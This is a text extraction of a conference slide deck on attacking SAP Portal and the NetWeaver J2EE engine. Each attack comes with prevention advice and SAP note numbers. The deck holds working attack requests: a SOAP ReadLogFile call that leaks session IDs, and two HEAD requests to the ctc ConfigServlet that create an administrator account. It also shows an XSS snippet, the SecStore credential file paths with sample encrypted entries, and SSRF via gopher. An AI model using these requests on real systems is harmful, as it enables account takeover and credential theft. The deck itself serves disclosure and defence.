SlideShare a Scribd company logo
1 of 74
Download to read offline
Invest	
  in	
  security	
  
to	
  secure	
  investments	
  
Breaking	
  SAP	
  Portal	
  
Alexander	
  Polyakov	
  CTO	
  ERPScan	
  
Dmitry	
  Chastuchin	
  -­‐	
  Principal	
  Researcher	
  ERPScan	
  
About	
  ERPScan	
  
•  The	
   only	
   360-­‐degree	
   SAP	
   Security	
   solu8on	
   -­‐	
   ERPScan	
   Security	
  
Monitoring	
  Suite	
  for	
  SAP	
  
•  Leader	
  by	
  the	
  number	
  of	
  acknowledgements	
  from	
  SAP	
  (	
  150+	
  )	
  
•  60+	
  presentaHons	
  key	
  security	
  conferences	
  worldwide	
  
•  25	
  Awards	
  and	
  nominaHons	
  
•  Research	
  team	
  -­‐	
  20	
  experts	
  with	
  experience	
  in	
  	
  different	
  areas	
  
of	
  security	
  
•  Headquarters	
  in	
  Palo	
  Alto	
  (US)	
  and	
  Amsterdam	
  (EU)	
  
	
  
	
  
2	
  
Agenda	
  
	
  
•  Say	
  hello	
  to	
  SAP	
  Portal	
  
•  Breaking	
  Portal	
  through	
  SAP	
  Services	
  
•  Breaking	
  Portal	
  through	
  J2EE	
  Engine	
  
•  Breaking	
  Portal	
  through	
  Portal	
  issues	
  
•  Conclusion	
  
3	
  
SAP	
  
•  The	
  most	
  popular	
  business	
  applica8on	
  
•  More	
  than	
  180000	
  customers	
  worldwide	
  	
  
•  74%	
  of	
  Forbes	
  500	
  run	
  SAP	
  
4	
  
Meet	
  sapscan.com	
  
hUp://erpscan.com/wp-­‐content/uploads/2012/06/SAP-­‐Security-­‐in-­‐figures-­‐a-­‐global-­‐survey-­‐2007-­‐2011-­‐final.pdf	
  	
  
5	
  
Say	
  hello	
  to	
  Portal	
  
•  Point	
  of	
  web	
  access	
  to	
  SAP	
  systems	
  
•  Point	
  of	
  web	
  access	
  to	
  other	
  corporate	
  systems	
  
•  Way	
  for	
  aUackers	
  to	
  get	
  access	
  to	
  SAP	
  from	
  the	
  Internet	
  
•  ~17	
  Portals	
  in	
  Switzerland,	
  according	
  to	
  Shodan	
  
•  ~11	
  Portals	
  in	
  Switzerland,	
  according	
  to	
  Google	
  
6	
  
EP	
  architecture	
  
7	
  
Okay,	
  okay.	
  SAP	
  Portal	
  is	
  important,	
  and	
  it	
  has	
  many	
  
links	
  to	
  other	
  modules.	
  So	
  what?	
  
8	
  
SAP	
  Management	
  Console	
  
9	
  
SAP	
  Management	
  Console	
  
•  SAP	
  MC	
  provides	
  a	
  common	
  framework	
  for	
  centralized	
  system	
  
management	
  
•  Allowing	
  to	
  see	
  the	
  trace	
  and	
  log	
  messages	
  
•  Using	
  JSESSIONID	
  from	
  logs,	
  aUacker	
  can	
  log	
  into	
  Portal	
  	
  
	
  What	
  we	
  can	
  find	
  into	
  logs?	
  
	
   Right!	
  File	
  userinterface.log	
  contains	
  calculated	
  JSESIONID	
  
But…aUacker	
  must	
  have	
  creden8al	
  for	
  reading	
  log	
  file!	
  
Wrong!	
  	
  
10	
  
SAP	
  Management	
  Console	
  
<?xml	
  version="1.0"?>	
  
<SOAP-­‐ENV:Envelope	
  xmlns:SOAP-­‐ENV="hUp://schemas.xmlsoap.org/soap/envelope/"	
  xmlns:xsi="hUp://
www.w3.org/2001/XMLSchema-­‐instance"	
  xmlns:xs="hUp://www.w3.org/2001/XMLSchema">	
  
<SOAP-­‐ENV:Header>	
  
	
  	
  	
  	
  <sapsess:Session	
  xmlns:sapsess="hUp://www.sap.com/webas/630/soap/features/session/">	
  
	
  	
  	
  	
  <enableSession>true</enableSession>	
  
</sapsess:Session>	
  
</SOAP-­‐ENV:Header>	
  
<SOAP-­‐ENV:Body>	
  
	
  	
  	
  	
  <ns1:ReadLogFile	
  xmlns:ns1="urn:SAPControl">	
  
	
  	
  	
  	
  	
  	
  	
  	
  <filename>j2ee/cluster/server0/log/system/userinterface.log</filename>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <filter/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <language/>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <maxentries>%COUNT%</maxentries>	
  
	
  	
  	
  	
  	
  	
  	
  	
  <statecookie>EOF</statecookie>	
  
	
  	
  	
  	
  </ns1:ReadLogFile>	
  
</SOAP-­‐ENV:Body>	
  
</SOAP-­‐ENV:Envelope>	
  
11	
  
PrevenHon	
  
• 	
  	
  	
  Don’t	
  use	
  TRACE_LEVEL	
  =	
  3	
  in	
  produc8on	
  
systems	
  or	
  delete	
  traces	
  	
  
• 	
  	
  	
  Install	
  notes	
  927637	
  and	
  1439348	
  
	
  
	
  	
  
	
  	
  
hUp://help.sap.com/saphelp_nwpi71/helpdata/en/
d6/49543b1e49bc1fe10000000a114084/frameset.htm	
  	
  
12	
  
Single-­‐Sign	
  On	
  
13	
  
SSO	
  (old	
  but	
  sHll	
  works)	
  
•  SAP	
  implements	
  SSO	
  using	
  the	
  Header	
  Variable	
  Login	
  Module	
  
creden8als	
  
check	
  
okay	
  
cookie	
  
AUacker	
  
header_auth	
  
cookie	
  
tnx	
  Mariano	
  ;)	
  	
  
14	
  
PrevenHon	
  
• 	
  Implement	
  proper	
  network	
  filters	
  to	
  avoid	
  direct	
  
connec8ons	
  to	
  SAP	
  	
  
• 	
  J2EE	
  Engine.	
  If	
  you	
  use	
  it	
  for	
  Windows	
  authen8ca8on,	
  
switch	
  to	
  SPNegoLoginModule	
  
hUp://help.sap.com/saphelp_nw73ehp1/helpdata/en/d0/
a3d940c2653126e10000000a1550b0/frameset.htm	
  	
  
15	
  
SAP	
  NetWeaver	
  J2EE	
  
16	
  
Access	
  control	
  
	
  	
  Web	
  Dynpro	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  -­‐	
  programma8c	
  
	
  	
  Portal	
  iViews	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  -­‐	
  programma8c	
  
	
  	
  J2EE	
  Web	
  apps	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  -­‐	
  declara8ve	
  
ProgrammaHc	
  	
  
By	
  UME	
  
DeclaraHve	
  	
  	
  
By	
  WEB.XML	
  
17	
  
DeclaraHve	
  access	
  control	
  
•  The	
  central	
  en8ty	
  in	
  the	
  J2EE	
  authoriza8on	
  model	
  is	
  the	
  security	
  
role.	
  
•  Programmers	
  define	
  the	
  applica8on-­‐specific	
  roles	
  in	
  the	
  J2EE	
  
deployment	
  descriptor	
  
web.xml 	
  	
   	
  web-­‐j2ee-­‐engine.xml	
  
18	
  
19	
  
Verb	
  Tampering	
  
web.xml	
  
<servlet>	
  	
  
	
  	
  	
  <servlet-­‐name>Cri8calAc8on</servlet-­‐name>	
  	
  
	
  	
  	
  <servlet-­‐class>com.sap.admin.Cri8cal.Ac8on</servlet-­‐class>	
  	
  	
  	
  	
  
</servlet>	
  
<servlet-­‐mapping>	
  	
  
	
  	
  	
  	
  	
  <servlet-­‐name>Cri8calAc8on</</servlet-­‐name>	
  	
  
	
  	
  	
  	
  	
  <url-­‐paUern>/admin/cri8cal</url-­‐paUern>	
  	
  
	
  </servlet-­‐mapping	
  
<security-­‐constraint>	
  
<web-­‐resource-­‐collec8on>	
  
<web-­‐resource-­‐name>Restrictedaccess</web-­‐resource-­‐name>	
  
<url-­‐paUern>/admin/*</url-­‐paUern>	
  
<hUp-­‐method>GET</hUp-­‐method>	
  
</web-­‐resource-­‐collec8on>	
  
<auth-­‐constraint>	
  
	
  	
  	
  	
   	
  <role-­‐name>administrator</role-­‐name>	
  
	
  </auth-­‐constraint>	
  
</security-­‐constraint>	
  
20	
  
Verb	
  Tampering	
  	
  
•  If	
  we	
  are	
  trying	
  to	
  get	
  access	
  to	
  an	
  applica8on	
  using	
  GET	
  –	
  we	
  
need	
  a	
  login:pass	
  and	
  administrator	
  role	
  
•  What	
  if	
  we	
  try	
  to	
  get	
  access	
  to	
  applica8on	
  using	
  HEAD	
  instead	
  
GET?	
  
•  PROFIT!	
  
•  Did	
  U	
  know	
  about	
  ctc?	
  
21	
  
Verb	
  Tampering	
  	
  
Need	
  Admin	
  account	
  in	
  SAP	
  Portal?	
  	
  
Just	
  send	
  two	
  HEAD	
  requests	
  
	
  
•  Create	
  new	
  user	
  blabla:blabla	
  
	
  
HEAD	
  /ctc/ConfigServlet?param=com.sap.ctc.u8l.UserConfig;CREATEUSER;USERNAME=blabla,PASSWORD=blabla	
  
	
  
	
  
•  Add	
  user	
  blabla	
  to	
  group	
  Administrators	
  
	
  
HEAD	
  /ctc/ConfigServlet?param=com.sap.ctc.u8l.UserConfig;ADD_USER_TO_GROUP;USERNAME=blabla,GROUPNAME=Administrators	
  
	
  
	
  
Works	
  when	
  UME	
  uses	
  JAVA	
  database	
  
	
  
	
  
22	
  
PrevenHon	
  
• Install	
  SAP	
  notes	
  1503579,1616259	
  	
  
• Install	
  other	
  SAP	
  notes	
  about	
  Verb	
  Tampering	
  	
  	
  
• Scan	
  applica8ons	
  with	
  ERPScan	
  WEB.XML	
  checker	
  	
  
• Disable	
  the	
  applica8ons	
  that	
  are	
  not	
  necessary	
  	
  
23	
  
24	
  
Invoker	
  servlet	
  
web.xml	
  
<servlet>	
  	
  
	
  	
  	
  <servlet-­‐name>Cri>calAc>on</servlet-­‐name>	
  	
  
	
  	
  	
  <servlet-­‐class>com.sap.admin.Cri>cal.Ac>on</servlet-­‐class>	
  	
  	
  	
  	
  
</servlet>	
  
<servlet-­‐mapping>	
  	
  
	
  	
  	
  	
  	
  <servlet-­‐name>Cri>calAc>on</</servlet-­‐name>	
  	
  
	
  	
  	
  	
  	
  <url-­‐paBern>/admin/cri>cal</url-­‐paBern>	
  	
  
	
  </servlet-­‐mapping	
  
<security-­‐constraint>	
  
<web-­‐resource-­‐collec>on>	
  
<web-­‐resource-­‐name>Restrictedaccess</web-­‐resource-­‐name>	
  
<url-­‐paBern>/admin/*</url-­‐paBern>	
  
<hBp-­‐method>GET</hBp-­‐method>	
  
<hBp-­‐method>HEAD</hBp-­‐method>	
  
</web-­‐resource-­‐collec>on>	
  
<auth-­‐constraint>	
  
	
  	
  	
  	
   	
  <role-­‐name>administrator</role-­‐name>	
  
	
  </auth-­‐constraint>	
  
</security-­‐constraint>	
  
GET	
  /admin/cri8cal/Cri>calAc>on	
  
GET	
  /servlet/com.sap.admin.Cri8cal.Ac8on	
  
25	
  
Invoker	
  Servlet	
  
•  Want	
  to	
  execute	
  an	
  OS	
  command	
  on	
  J2EE	
  server	
  remotely?	
  
•  Maybe	
  upload	
  a	
  backdoor	
  in	
  a	
  Java	
  class?	
  
•  Or	
  sniff	
  all	
  traffic	
  ?	
  
SHll	
  remember	
  ctc?	
  
26	
  
Invoker	
  Servlet	
  
27	
  
PrevenHon	
  
• 	
  Update	
  to	
  the	
  latest	
  patch	
  1467771,	
  1445998	
  	
  
• “EnableInvokerServletGlobally”	
  	
  must	
  be	
  “false”	
  	
  	
  
• 	
  Check	
  all	
  WEB.XML	
  files	
  with	
  ERPScan	
  WEBXML	
  
checker	
  	
  
28	
  
So,	
  where	
  is	
  Portal?	
  
29	
  
SAP	
  Portal	
  
•  User	
  access	
  rights	
  to	
  objects	
  are	
  in	
  the	
  Portal	
  Content	
  Directory	
  
(PCD)	
  
•  Based	
  on	
  ACL	
  
•  2	
  types	
  of	
  access:	
  
–  (design	
  8me)	
  for	
  administrators	
  
–  (run8me)	
  for	
  users	
  
30	
  
Portal	
  	
  Permission	
  Levels	
  
31	
  
End	
  User	
  permission	
  
The	
  objects	
  where	
  end	
  user	
  permission	
  is	
  enabled	
  affect	
  the	
  
following	
  areas	
  in	
  Portal:	
  
–  All	
  Portal	
  Catalog	
  obj	
  with	
  end	
  user	
  permission	
  	
  
–  Authorized	
  Portal	
  users	
  may	
  access	
  restricted	
  	
  
	
  Portal	
  components	
  by	
  URL	
  if	
  they	
  are	
  granted	
  permission	
  in	
  the	
  
appropriate	
  security	
  zone.	
  
32	
  
Administrator	
  permission	
  
•  Owner	
  =	
  full	
  control	
  +	
  modify	
  permissions	
  
•  Full	
  control	
  =	
  read/write	
  +	
  delete	
  obj	
  
•  Read/Write	
  =	
  read+write+edit	
  proper8es+	
  add/rem	
  child	
  
•  Write	
  (folders	
  only)	
  =	
  create	
  objects	
  
•  Read	
  =	
  view	
  obj+create	
  instances	
  	
  
	
   	
  (delta	
  links	
  and	
  copies)	
  
•  None	
  =	
  access	
  not	
  granted	
  
33	
  
Role	
  Assigner	
  permission	
  
•  The	
  Role	
  Assigner	
  permission	
  seyng	
  is	
  available	
  for	
  role	
  objects	
  
•  It	
  allows	
  you	
  to	
  determine	
  which	
  Portal	
  users	
  are	
  permiUed	
  to	
  
assign	
  other	
  users,	
  groups,	
  or	
  roles	
  to	
  the	
  role	
  principle	
  using	
  
the	
  Role	
  Assignment	
  tool	
  
34	
  
Security	
  Zones	
  	
  
•  Security	
  zones	
  allow	
  the	
  system	
  administrator	
  to	
  control	
  which	
  
Portal	
  components	
  and	
  Portal	
  services	
  a	
  Portal	
  user	
  can	
  launch	
  
•  A	
  security	
  zone	
  specifies	
  the	
  vendor	
  ID,	
  the	
  security	
  area,	
  and	
  
safety	
  level	
  for	
  each	
  Portal	
  component	
  and	
  Portal	
  service	
  
35	
  
Why?	
  To	
  group	
  mul>ple	
  iViews	
  easily	
  
like	
  files	
  in	
  directories	
  	
  
Security	
  Zones	
  	
  
•  The	
  security	
  zone	
  is	
  defined	
  in	
  a	
  Portal	
  applica8on	
  descriptor	
  
XML	
  file	
  portalapps.xml	
  
•  A	
  Portal	
  component	
  or	
  service	
  can	
  only	
  belong	
  to	
  one	
  security	
  
zone	
  
•  Zones	
  allows	
  the	
  administrator	
  to	
  assign	
  permissions	
  to	
  a	
  safety	
  
level,	
  instead	
  of	
  assigning	
  them	
  directly	
  
36	
  
Why?	
  To	
  group	
  mul>ple	
  iViews	
  easily	
  
like	
  files	
  in	
  directories	
  	
  
37	
  
We	
  can	
  get	
  access	
  to	
  Portal	
  
iViews	
  	
  using	
  direct	
  URL:	
  
	
  
/irj/servlet/prt/portal/prtroot/<iView_ID>	
  
	
  
And	
  only	
  Security	
  Zone	
  rights	
  will	
  be	
  checked	
  	
  
Security	
  Zones	
  	
  
•  So,	
  SecZones	
  offer	
  an	
  extra,	
  but	
  op8onal,	
  layer	
  of	
  code-­‐level	
  
security	
  to	
  iViews	
  
–  User-­‐>	
  check	
  ”end	
  user”	
  permission	
  to	
  the	
  role-­‐>	
  view	
  iView	
  
–  User-­‐>	
  check	
  ”end	
  user”	
  permission	
  to	
  the	
  role-­‐>	
  check	
  ”end	
  
user”	
  permission	
  to	
  the	
  SecZone	
  -­‐>	
  view	
  iView	
  
	
  
By	
  default,	
  this	
  func8onality	
  is	
  disabled	
  
38	
  
39	
  
So	
  I	
  wonder	
  how	
  many	
  Portal	
  
applica8ons	
  with	
  NoLow	
  Safety	
  
exist?	
  
Safety	
  Levels	
  for	
  Security	
  Zone	
  
•  No	
  Safety	
  
–  Anonymous	
  users	
  are	
  permiUed	
  to	
  access	
  portal	
  components	
  defined	
  in	
  
the	
  security	
  zone.	
  
•  Low	
  Safety	
  
–  A	
  user	
  must	
  be	
  at	
  least	
  an	
  authen8cated	
  portal	
  user	
  to	
  access	
  portal	
  
components	
  defined	
  in	
  the	
  security	
  zone.	
  
•  Medium	
  Safety	
  
–  A	
  user	
  must	
  be	
  assigned	
  to	
  a	
  par8cular	
  portal	
  role	
  that	
  is	
  authorized	
  to	
  
access	
  portal	
  components	
  defined	
  in	
  the	
  security	
  zone	
  
•  High	
  Safety	
  
–  A	
  user	
  must	
  be	
  assigned	
  to	
  a	
  portal	
  role	
  with	
  higher	
  administra8ve	
  rights	
  
that	
  is	
  authorized	
  to	
  access	
  portal	
  components	
  defined	
  in	
  the	
  security	
  
zone.	
  
40	
  
 Zones	
  with	
  no	
  safety	
  
Many	
  custom	
  applica8ons	
  with	
  low	
  security	
  level	
  zone	
  
41	
  
PrevenHon	
  
Check	
  security	
  zones	
  permissions	
  
	
  
• hUp://help.sap.com/saphelp_nw70/helpdata/en/25/85de55a94c4b5fa7a2d74e8ed201b0/frameset.htm	
  
• hUp://help.sap.com/saphelp_nw70/helpdata/en/f6/2604db05fd11d7b84200047582c9f7/frameset.htm	
  
42	
  
SAP	
  Portal	
  
•  Web	
  based	
  services	
  
•  All	
  OWASP	
  TOP10	
  actual	
  	
  
–  XSS	
  
–  Phishing	
  
–  Traversal	
  
–  XXE	
  
–  …	
  
	
  
43	
  
44	
  
EPCF	
  
XSS	
  
•  Many	
  XSSs	
  in	
  Portal	
  
•  But	
  some8mes	
  “hUponly”	
  
•  But	
  when	
  we	
  exploit	
  XSS,	
  we	
  can	
  use	
  the	
  features	
  of	
  SAP	
  Portal	
  
45	
  
EPCF	
  
	
  	
  	
  	
  EPCF	
  provides	
  a	
  JavaScript	
  API	
  designed	
  for	
  the	
  client-­‐side	
  
communica8on	
  between	
  portal	
  components	
  and	
  the	
  portal	
  
core	
  framework	
  
•  Enterprise	
  Portal	
  Client	
  Manager	
  (EPCM)	
  
•  iViews	
  can	
  access	
  the	
  EPCM	
  object	
  from	
  every	
  portal	
  page	
  
or	
  IFrame	
  
•  Every	
  iView	
  contains	
  the	
  EPCM	
  object	
  
•  For	
  example,	
  EPCF	
  used	
  for	
  transient	
  user	
  data	
  buffer	
  for	
  
iViews	
  
<SCRIPT>	
  
	
  	
  alert(EPCM.loadClientData("urn:com.sap.myObjects",	
  "person");	
  
</SCRIPT>	
  
46	
  
PrevenHon	
  
	
  Install	
  SAP	
  note	
  1656549	
  
47	
  
KM	
  Phishing	
  
SAP	
  Knowledge	
  Management	
  may	
  be	
  used	
  to	
  create	
  phishing	
  pages	
  
48	
  
49	
  
FIX	
  
Directory	
  traversal	
  
50	
  
Directory	
  traversal	
  fix	
  bypass	
  
51	
  
PrevenHon	
  
Install	
  SAP	
  note	
  1630293	
  
52	
  
53	
  
Cut	
  the	
  Crap,	
  
	
  Show	
  Me	
  the	
  Hack	
  
Breaking	
  SAP	
  Portal	
  
•  Found	
  a	
  file	
  in	
  the	
  OS	
  of	
  SAP	
  Portal	
  with	
  the	
  encrypted	
  
passwords	
  for	
  administra8on	
  and	
  DB	
  
•  Found	
  a	
  file	
  in	
  the	
  OS	
  of	
  SAP	
  Portal	
  with	
  keys	
  to	
  decrypt	
  
passwords	
  
•  Found	
  a	
  vulnerability	
  (another	
  one	
  ;))	
  which	
  allows	
  reading	
  the	
  
files	
  with	
  passwords	
  and	
  keys	
  
•  Decrypt	
  passwords	
  and	
  log	
  into	
  Portal	
  
•  PROFIT!	
  
54	
  
Read	
  file	
  
	
  How	
  we	
  can	
  read	
  the	
  file?	
  
	
  
–  Directory	
  Traversal	
  
–  OS	
  Command	
  execute	
  	
  
–  XML	
  External	
  En8ty	
  (XXE)	
  
55	
  
XXE	
  in	
  Portal	
  
56	
  
XXE	
  in	
  Portal	
  
57	
  
XXE	
  
Error	
  based	
  XXE	
  
58	
  
Breaking	
  SAP	
  Portal	
  
•  Ok,	
  we	
  can	
  read	
  files	
  
•  Where	
  are	
  the	
  passwords?	
  
•  The	
  SAP	
  J2EE	
  Engine	
  stores	
  the	
  database	
  user	
  SAP<SID>DB;	
  its	
  
password	
  is	
  here:	
  
usrsap<SID>SYSglobalsecuritydataSecStore.proper>es	
  	
  
59	
  
Where	
  are	
  the	
  passwords?	
  (config.proper4es)	
  
	
  rdbms.maximum_connec8ons=5	
  
system.name=TTT	
  
secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/
SecStore.key	
  
secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/
SecStore.proper8es	
  
secstorefs.lib=/oracle/TTTsapmnt/global/security/lib	
  
rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/
ojdbc14.jar	
  
rdbms.connec8on=jdbc/pool/TTT	
  
rdbms.ini8al_connec8ons=1	
  
60	
  
Where	
  are	
  the	
  passwords?	
  (config.proper4es)	
  
	
  rdbms.maximum_connec8ons=5	
  
system.name=TTT	
  
secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/SecStore.key	
  
secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.proper8es	
  
secstorefs.lib=/oracle/TTTsapmnt/global/security/lib	
  
rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/ojdbc14.jar	
  
rdbms.connec8on=jdbc/pool/TTT	
  
rdbms.ini8al_connec8ons=1	
  
61	
  
62	
  
But	
  where	
  is	
  the	
  key?	
  
SecStore.properHes	
  
63	
  
$internal/version=Ni4zFF4wMSeaseforCCMxegAfx	
  
admin/host/TTT=7KJuOPPs/+u
+14jM7uy7cy7exrZuYvevkSrPxwueur2445yxgBS	
  
admin/password/TTT=7KJuOPPs/+uv+14j56vDc7M7v7dytbGbkgqDp
+QD04b0Fh	
  
jdbc/pool/TTT=7KJuOPPs/+u5jM6s1cvvgQ1gzFvarxuUzEJTHTJI0VGegH	
  
admin/port/TTT=7KJuOPPs/+u+1j4vD1cv6ZTvd336rzEd7267Rwr4ZUgRTQ	
  
$internal/check=BJRrz€eUA+bw4XCzdz16zX78u•t	
  
$internal/mode=encrypted	
  
admin/user/TTT=7KJuOPPs/+u
+14j6s14sTxXU3ONl3rL6N7yssV75eC6/5S3E	
  
config.properHes	
  
	
  rdbms.maximum_connec8ons=5	
  
system.name=TTT	
  
secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/data/SecStore.key	
  
secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.proper8es	
  
secstorefs.lib=/oracle/TTTsapmnt/global/security/lib	
  
rdbms.driverLoca8on=/oracle/client/10x_64/instantclient/ojdbc14.jar	
  
rdbms.connec8on=jdbc/pool/TTT	
  
rdbms.ini8al_connec8ons=1	
  
64	
  
Get	
  the	
  password	
  
•  We	
  have	
  an	
  encrypted	
  password	
  
•  We	
  have	
  a	
  key	
  to	
  decrypt	
  it	
  
We	
  got	
  the	
  J2EE	
  admin	
  and	
  JDBC	
  login:password!	
  
65	
  
PrevenHon	
  
• 	
  Install	
  SAP	
  note	
  1619539	
  
• 	
  Restrict	
  read	
  access	
  to	
  files	
  
SecStore.proper>es	
  and	
  SecStore.key	
  
66	
  
Portal	
  post	
  exploitaHon	
  
•  Lot	
  of	
  links	
  to	
  other	
  systems	
  in	
  corporate	
  LAN	
  
•  Using	
  SSRF,	
  aUackers	
  can	
  get	
  access	
  to	
  these	
  systems	
  
What	
  is	
  SSRF?	
  
67	
  
SSRF	
  History:	
  Basics	
  
•  We	
  send	
  Packet	
  A	
  to	
  Service	
  A	
  
•  Service	
  A	
  ini8ates	
  Packet	
  B	
  to	
  service	
  B	
  
•  Services	
  can	
  be	
  on	
  the	
  same	
  or	
  different	
  hosts	
  
•  We	
  can	
  manipulate	
  some	
  fields	
  of	
  packet	
  B	
  within	
  packet	
  A	
  
•  Various	
  SSRF	
  aUacks	
  depend	
  on	
  how	
  many	
  fields	
  we	
  can	
  
control	
  on	
  packet	
  B	
  
	
  
Packet	
  A	
  
Packet	
  B	
  
68	
  
ParHal	
  Remote	
  SSRF:	
  	
  
HTTP	
  afacks	
  on	
  other	
  services	
  
HTTP	
  Server	
  	
  Corporate	
  
network	
  
Direct	
  aUack	
  	
  
	
  GET	
  /vuln.jsp	
  	
  
SSRF	
  AUack	
  	
  
SSRF	
  AUack	
  	
  
Get	
  /vuln.jst	
  	
  
A	
   B	
  
69	
  
Gopher	
  uri	
  scheme	
  
•  Using	
  gopher://	
  uri	
  scheme,	
  it	
  is	
  possible	
  to	
  send	
  TCP	
  packets	
  
–  	
  Exploit	
  OS	
  vulnerabili8es	
  
–  	
  Exploit	
  old	
  SAP	
  applicaHon	
  vulnerabiliHes	
  	
  
–  	
  Bypass	
  SAP	
  security	
  restric8ons	
  
–  	
  Exploit	
  vulnerabili8es	
  in	
  local	
  services	
  
	
  
More	
  info	
  in	
  our	
  BH2012	
  presenta8on:	
  
SSRF	
  vs.	
  Business	
  Cri>cal	
  Applica>ons	
  
hUp://erpscan.com/wp-­‐content/uploads/2012/08/SSRF-­‐vs-­‐Businness-­‐cri8cal-­‐applica8ons-­‐
whitepaper.pdf	
  
70	
  
Portal	
  post-­‐exploitaHon	
  
71	
  
Conclusion	
  
It	
  is	
  possible	
  to	
  protect	
  yourself	
  from	
  these	
  kinds	
  of	
  issues,	
  	
  
and	
  we	
  are	
  working	
  close	
  with	
  SAP	
  to	
  keep	
  customers	
  secure	
  
SAP	
  Guides	
  
It’s	
  all	
  in	
  your	
  hands	
  
Regular	
  security	
  assessments	
  
ABAP	
  code	
  review	
  
Monitoring	
  technical	
  security	
  
SegregaHon	
  of	
  DuHes	
  
72	
  
Future	
  work	
  
	
  Many	
  of	
  the	
  researched	
  issues	
  cannot	
  be	
  disclosed	
  now	
  because	
  
of	
   our	
   good	
   rela>onship	
   with	
   SAP	
   Product	
   Security	
   Response	
  
Team,	
  whom	
  I	
  would	
  like	
  to	
  thank	
  for	
  coopera>on.	
  However,	
  if	
  
you	
  want	
  to	
  be	
  the	
  first	
  to	
  see	
  new	
  aBacks	
  and	
  demos,	
  follow	
  us	
  
at	
  @erpscan	
  and	
  aBend	
  future	
  presenta>ons:	
  
	
  
•  December	
  6	
  –	
  BlackHat	
  (UAE,	
  Abu	
  Dhabi)	
  
•  December	
  13	
  –	
  Syscan	
  360	
  (Beijing,	
  China)	
  
	
  
	
  
	
  
	
  
	
   73	
  
 
	
  
74	
  
Web: 	
   	
  www.erpscan.com	
  
e-­‐mail:	
   	
  info@erpscan.com	
  
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
TwiBer: 	
  @erpscan	
  
	
   	
   	
  @sh2kerr	
  
	
   	
  	
  	
  	
  	
   	
  @_chipik 	
  	
  
	
  

More Related Content

What's hot

What Every Client Should Do on Their Oracle SOA Projects
What Every Client Should Do on Their Oracle SOA ProjectsWhat Every Client Should Do on Their Oracle SOA Projects
What Every Client Should Do on Their Oracle SOA Projects
Revelation Technologies
 
Mysql tech day_paris_ps_and_sys
Mysql tech day_paris_ps_and_sysMysql tech day_paris_ps_and_sys
Mysql tech day_paris_ps_and_sys
Mark Leith
 
Introduction to MySQL Enterprise Monitor
Introduction to MySQL Enterprise MonitorIntroduction to MySQL Enterprise Monitor
Introduction to MySQL Enterprise Monitor
Mark Leith
 
Oracle - Enterprise Manager 12c Overview
Oracle - Enterprise Manager 12c OverviewOracle - Enterprise Manager 12c Overview
Oracle - Enterprise Manager 12c Overview
Fred Sim
 

What's hot (20)

Oracle Access Manager Integration with Microsoft Active Directory for Zero Si...
Oracle Access Manager Integration with Microsoft Active Directory for Zero Si...Oracle Access Manager Integration with Microsoft Active Directory for Zero Si...
Oracle Access Manager Integration with Microsoft Active Directory for Zero Si...
 
What Every Client Should Do on Their Oracle SOA Projects
What Every Client Should Do on Their Oracle SOA ProjectsWhat Every Client Should Do on Their Oracle SOA Projects
What Every Client Should Do on Their Oracle SOA Projects
 
19.imagini in laravel5
19.imagini in laravel519.imagini in laravel5
19.imagini in laravel5
 
MySQL 5.7: Performance Schema Improvements
MySQL 5.7: Performance Schema ImprovementsMySQL 5.7: Performance Schema Improvements
MySQL 5.7: Performance Schema Improvements
 
Mysql tech day_paris_ps_and_sys
Mysql tech day_paris_ps_and_sysMysql tech day_paris_ps_and_sys
Mysql tech day_paris_ps_and_sys
 
Jlook web ui framework
Jlook web ui frameworkJlook web ui framework
Jlook web ui framework
 
Oracle Enterprise Manager Cloud Control 13c for DBAs
Oracle Enterprise Manager Cloud Control 13c for DBAsOracle Enterprise Manager Cloud Control 13c for DBAs
Oracle Enterprise Manager Cloud Control 13c for DBAs
 
Introduction to MySQL Enterprise Monitor
Introduction to MySQL Enterprise MonitorIntroduction to MySQL Enterprise Monitor
Introduction to MySQL Enterprise Monitor
 
Oam install & config
Oam install & configOam install & config
Oam install & config
 
RESTful API - Best Practices
RESTful API - Best PracticesRESTful API - Best Practices
RESTful API - Best Practices
 
Introduction to laravel framework
Introduction to laravel frameworkIntroduction to laravel framework
Introduction to laravel framework
 
Double the Performance of Oracle SOA Suite 11g? Absolutely!
Double the Performance of Oracle SOA Suite 11g? Absolutely!Double the Performance of Oracle SOA Suite 11g? Absolutely!
Double the Performance of Oracle SOA Suite 11g? Absolutely!
 
Performance Schema and Sys Schema in MySQL 5.7
Performance Schema and Sys Schema in MySQL 5.7Performance Schema and Sys Schema in MySQL 5.7
Performance Schema and Sys Schema in MySQL 5.7
 
Instrumenting plugins for Performance Schema
Instrumenting plugins for Performance SchemaInstrumenting plugins for Performance Schema
Instrumenting plugins for Performance Schema
 
Upgrading Em13c Collaborate 2016
Upgrading Em13c Collaborate 2016Upgrading Em13c Collaborate 2016
Upgrading Em13c Collaborate 2016
 
RichFaces 4 Component Deep Dive - JAX/JSFSummit
RichFaces 4 Component Deep Dive - JAX/JSFSummitRichFaces 4 Component Deep Dive - JAX/JSFSummit
RichFaces 4 Component Deep Dive - JAX/JSFSummit
 
Java Web Application Security with Java EE, Spring Security and Apache Shiro ...
Java Web Application Security with Java EE, Spring Security and Apache Shiro ...Java Web Application Security with Java EE, Spring Security and Apache Shiro ...
Java Web Application Security with Java EE, Spring Security and Apache Shiro ...
 
20160307 apex connects_jira
20160307 apex connects_jira20160307 apex connects_jira
20160307 apex connects_jira
 
Oracle - Enterprise Manager 12c Overview
Oracle - Enterprise Manager 12c OverviewOracle - Enterprise Manager 12c Overview
Oracle - Enterprise Manager 12c Overview
 
